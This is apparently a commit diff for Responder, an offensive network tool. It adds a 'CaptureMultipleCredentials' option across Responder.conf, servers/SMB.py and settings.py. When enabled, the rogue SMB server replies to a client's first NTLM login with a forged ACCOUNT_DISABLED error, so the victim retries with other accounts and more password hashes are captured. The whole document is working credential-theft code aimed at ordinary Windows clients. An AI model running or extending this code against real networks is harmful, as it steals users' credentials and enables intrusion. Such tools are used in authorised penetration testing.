Send ACCOUNT_DISABLED on the first SMB authentication to gather multiple credentials if there are any.

Responder.conf

@@ -49,6 +49,11 @@ DontRespondToName =
 ; if a hash hash been previously captured for this host.
 AutoIgnoreAfterSuccess = Off
 
+; If set to On, we will send ACCOUNT_DISABLED when the client tries
+; to authenticate for the first time to try to get different credentials.
+; This may break file serving and is useful only for hash capture
+CaptureMultipleCredentials = Off
+
 [HTTP Server]
 
 ; Set to On to always serve the custom EXE

servers/SMB.py

@@ -182,6 +182,7 @@ def IsNT4ClearTxt(data, client):
 class SMB1(BaseRequestHandler):  # SMB Server class, NTLMSSP
 	def handle(self):
 		try:
+			self.ntry = 0
 			while True:
 				data = self.request.recv(1024)
 				self.request.settimeout(1)
@@ -213,6 +214,9 @@ class SMB1(BaseRequestHandler):  # SMB Server class, NTLMSSP
 					
 					# STATUS_MORE_PROCESSING_REQUIRED
 					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
+					if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
+					else:
 						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
 					Body.calculate()
 		
@@ -237,6 +241,18 @@ class SMB1(BaseRequestHandler):  # SMB Server class, NTLMSSP
 							# Parse NTLMSSP_AUTH packet
 							ParseSMBHash(data,self.client_address[0])
 
+							if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
+								# Send ACCOUNT_DISABLED to get multiple hashes if there are any
+								Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
+								Body = SMBSessEmpty()
+
+								Packet = str(Header)+str(Body)
+								Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+								self.request.send(Buffer)
+								self.ntry += 1
+								continue
+
 							# Send STATUS_SUCCESS
 							Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
 							Body = SMBSession2Accept()

settings.py

@@ -147,6 +147,7 @@ class Settings:
 
 		# Auto Ignore List
 		self.AutoIgnore                 = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
+		self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
 		self.AutoIgnoreList             = []
 
 		# CLI options